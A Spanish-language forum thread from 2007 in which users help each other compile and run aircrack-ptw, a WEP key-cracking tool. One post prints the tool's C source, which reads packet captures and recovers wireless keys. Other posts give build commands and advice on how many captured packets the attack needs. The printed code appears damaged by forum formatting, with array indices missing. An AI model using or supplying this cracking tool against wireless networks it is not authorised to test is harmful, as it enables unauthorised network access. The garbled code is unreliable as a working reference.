Autor
|
Tema: Nuevo aircrack-ptw en español (Leído 65402 veces)
|
*dudux
Colaborador
Desconectado
Mensajes: 2.374
.....traficando con sueños.....
|
instalas las libpcap como pongo arriba ........... una vez echo eso........... COMO INSTALAR AIRCRACK-PTW
|
|
|
|
« Última modificación: 06 Abril 2007, 20:13 por *dudux »
|
En línea
|
|
|
|
longits
LT-23
Colaborador
Desconectado
Mensajes: 2.056
LT-23
|
Diosss alguien le ha metido mano con ubuntu?? Weno no creo que de problemas pq es solo compilarlo, a ver las dependencias q tal. Como este aircrack me saque la "famosa" key del router abocom alucinare...
Saludos.
|
|
|
|
|
En línea
|
Por favor, usa topics descriptivos. Por favor, cuida un poco la ortografía.
Por favor, un mínimo de inteligencia emocional.
|
|
|
*dudux
Colaborador
Desconectado
Mensajes: 2.374
.....traficando con sueños.....
|
yo me acabo de pelear con debian y al final lo consegui.............imagino que para ubuntu no habra problemas.........bueno ya tengo las libpcap ...........ahora me queda aircrack-ptw............
apt-get install bison cl-yacc
|
|
|
|
« Última modificación: 04 Abril 2007, 20:50 por *dudux »
|
En línea
|
|
|
|
|
Hwagm
|
Lo he metido perfectamente en el proyecto lfs 
|
|
|
|
|
En línea
|
|
|
|
*dudux
Colaborador
Desconectado
Mensajes: 2.374
.....traficando con sueños.....
|
no te ha echo falta meterle nada???
|
|
|
|
|
En línea
|
|
|
|
Torpuss
Desconectado
Mensajes: 56
|
Joder macho soy un inutil ,a mi no me sale ademas fijaros en el post de antes cuando pongo lo siguiente me da un error. wifislax ~ # cd li -bash: cd: li: No such file or directory y instalando tal y como has dicho dudux me sale esto: => `aircrack-ptw-1.0.0.tar.gz' Resolving www.cdc.informatik.tu-darmstadt.de... 130.83.167.48 Connecting to www.cdc.informatik.tu-darmstadt.de|130.83.167.48|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 6,630 (6.5K) [application/x-gzip] 100%[====================================>] 6,630 --.--K/s 21:02:19 (50.83 KB/s) - `aircrack-ptw-1.0.0.tar.gz' saved [6630/6630] wifislax ~ # tar -zxvf aircrack-ptw-1.0.0.tar.gz aircrack-ptw-1.0.0/ aircrack-ptw-1.0.0/aircrack-ptw-lib.h aircrack-ptw-1.0.0/attacksim.c aircrack-ptw-1.0.0/aircrack-ptw.c aircrack-ptw-1.0.0/aircrack-ptw-lib.c aircrack-ptw-1.0.0/Makefile aircrack-ptw-1.0.0/README wifislax ~ # cd aircrack-ptw-1.0.0 wifislax aircrack-ptw-1.0.0 # make clean && make && make install rm -f aircrack-ptw attacksim gcc -o aircrack-ptw -Wall -fomit-frame-pointer -O3 -lpcap aircrack-ptw.c aircrack-ptw-lib.c make: *** No rule to make target `install'. Stop. wifislax aircrack-ptw-1.0.0 # q coño hago mal? bueno gracias por vuestra paciencia
|
|
|
|
|
En línea
|
|
|
|
|
Hwagm
|
va me meto a ello y a ver si creo el modulo
|
|
|
|
|
En línea
|
|
|
|
|
|
Torpuss
Desconectado
Mensajes: 56
|
y que opinais del error ese q me da a mi,si alguien quiere entrar en mi pc e instalarmelo lo dejo aki conectado,jejeje
|
|
|
|
|
En línea
|
|
|
|
*dudux
Colaborador
Desconectado
Mensajes: 2.374
.....traficando con sueños.....
|
 si que es fuerte este algoritmo................que pasada...............y el codigo no es muy largo.............. #include <string.h> #include <stdlib.h> #include <stdint.h> #include <stdio.h> #include <pcap.h> #include "aircrack-ptw-lib.h" #define KEYLIMIT (1000000) #define BSSIDLEN (6) typedef struct { u_char bssid[BSSIDLEN]; uint8_t keyindex; PTW_attackstate * state; } network; const uint8_t beginpacket[] = {0xAA, 0xAA, 0x03, 0x00, 0x00, 0x00, 0x08, 0x06, 0x00, 0x01, 0x08, 0x00, 0x06, 0x04, 0x00, 0x02 }; const uint8_t broadcast[] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; void printKey(uint8_t * key, int keylen) { int i; printf("Found key with len %02d: ", keylen); for (i = 0; i < keylen; i++) { printf("%02X ", key ); } printf("\n"); }
int main(int argc, char**argv) { char errbuf[PCAP_ERRBUF_SIZE]; pcap_t * descr; const u_char *packet; struct pcap_pkthdr * hdr; int bssoffset; int dstoffset; network * networktable = NULL; int currenttable; int numstates = 0; uint8_t key[PTW_KEYHSBYTES]; uint8_t buf[PTW_n]; uint8_t iv[3]; uint8_t keystream[16]; int k,i; printf("This is aircrack-ptw 1.0.0\nFor more informations see http://www.cdc.informatik.tu-darmstadt.de/aircrack-ptw/\n");
if (argc != 2) { printf("usage: aircrack-ptw <capturefile>\n"); return -1; }
descr = pcap_open_offline(argv[1], errbuf); if (descr == NULL) { printf("could not open file\n"); return -1; } if (pcap_datalink(descr) != DLT_IEEE802_11) { printf("sorry, unsupported data link layer\n"); return -1; } while(pcap_next_ex(descr, &hdr, &packet) != -2) { if (((hdr->len == 68) || (hdr->len == 86) ) && (packet[0] == 0x08)) { // ARP // Find the right state if (( packet[1] & 0x03) == 0x01) { bssoffset = 4; dstoffset = 10; } else { bssoffset = 10; dstoffset = 4; } currenttable = -1; for (k = 0; k < numstates; k++) { if ((memcmp(networktable[k].bssid, &packet[bssoffset], BSSIDLEN) == 0) && (networktable[k].keyindex == packet[27])) { currenttable = k; } } if (currenttable == -1) { // Allocate a new table printf("allocating a new table\n"); printf("bssid = %02X:%02X:%02X:%02X:%02X:%02X keyindex=%01d\n", packet[bssoffset+0], packet[bssoffset+1], packet[bssoffset+2], packet[bssoffset+3], packet[bssoffset+4], packet[bssoffset+5], packet[27]); numstates++; networktable = realloc(networktable, numstates * sizeof(network)); networktable[numstates-1].state = PTW_newattackstate(); if(networktable[numstates-1].state == NULL) { printf("could not allocate state\n"); exit(-1); } memcpy(networktable[numstates-1].bssid, &packet[bssoffset], BSSIDLEN); networktable[numstates-1].keyindex = packet[27]; currenttable = numstates-1; } // Find IV for (i = 0; i < PTW_IVBYTES; i++) { iv = packet[24+i]; } for (i = 0; i < PTW_KSBYTES; i++) { keystream = packet[28+i] ^ beginpacket; } if (memcmp(broadcast,&packet[dstoffset], 6) == 0) { // it is a request // printf("found request\n"); keystream[PTW_KSBYTES-1] ^= 0x03; } for (i = 0; i < PTW_KSBYTES; i++) { buf = keystream ^ packet[28+i]; } PTW_addsession(networktable[currenttable].state, iv, keystream); } } for ( k = 0; k < numstates; k++) { printf("stats for bssid %02X:%02X:%02X:%02X:%02X:%02X keyindex=%01d packets=%d\n", networktable[k].bssid[0], networktable[k].bssid[1], networktable[k].bssid[2], networktable[k].bssid[3], networktable[k].bssid[4], networktable[k].bssid[5], networktable[k].keyindex, networktable[k].state->packets_collected); if(PTW_computeKey(networktable[k].state, key, 13, KEYLIMIT) == 1) { printKey(key, 13); } if(PTW_computeKey(networktable[k].state, key, 5, KEYLIMIT/10) == 1) { printKey(key, 5); } } return 0; }
|
|
|
|
|
En línea
|
|
|
|
*dudux
Colaborador
Desconectado
Mensajes: 2.374
.....traficando con sueños.....
|
y que opinais del error ese q me da a mi,si alguien quiere entrar en mi pc e instalarmelo lo dejo aki conectado,jejeje
haz solo el make...y ejecutalo desde su carpeta haber............
asi no te puede fallarwifislax ~ # cd li -bash: cd: li: No such file or directory
hay en vez de intro es tabulador..-... olvidate de esa linea.........
|
|
|
|
« Última modificación: 04 Abril 2007, 22:45 por *dudux »
|
En línea
|
|
|
|
eljosemari
Desconectado
Mensajes: 305
|
Esperando a que venga integrado en el wifislax 2.1 por ahora...
Aunque me estais poniendo los dientes largos como para no instalarmelo ya..
|
|
|
|
|
En línea
|
|
|
|
*dudux
Colaborador
Desconectado
Mensajes: 2.374
.....traficando con sueños.....
|
pues en wifislax es copiar y pegar....................eso si teniendo internet...........
|
|
|
|
|
En línea
|
|
|
|
Torpuss
Desconectado
Mensajes: 56
|
ya me sale la como a ti dudux osea con lo de aircrack en azul,pero donde pongo el *.cap ,por q lo e puesto en su carpeta tb en la q lo deja por defecto el airodump y nada,me dice esto: ifislax aircrack-ptw-1.0.0 # aircrack-ptw capturas-01.cap This is aircrack-ptw 1.0.0 For more informations see http://www.cdc.informatik.tu-darmstadt.de/aircrack-ptw/could not open file wifislax aircrack-ptw-1.0.0 # y nada ,echame un ultimo cablecillo Gracias
|
|
|
|
|
En línea
|
|
|
|
*dudux
Colaborador
Desconectado
Mensajes: 2.374
.....traficando con sueños.....
|
torpuss,,,,,torpuss......................hay ,,,,,,,,,,,,,,,
tiene que ser una captura( .cap) y que este dentro de la carpeta de aircrack-ptw...........................asegurate que tenga 47.000 o 50.000...............
|
|
|
|
|
En línea
|
|
|
|
|
|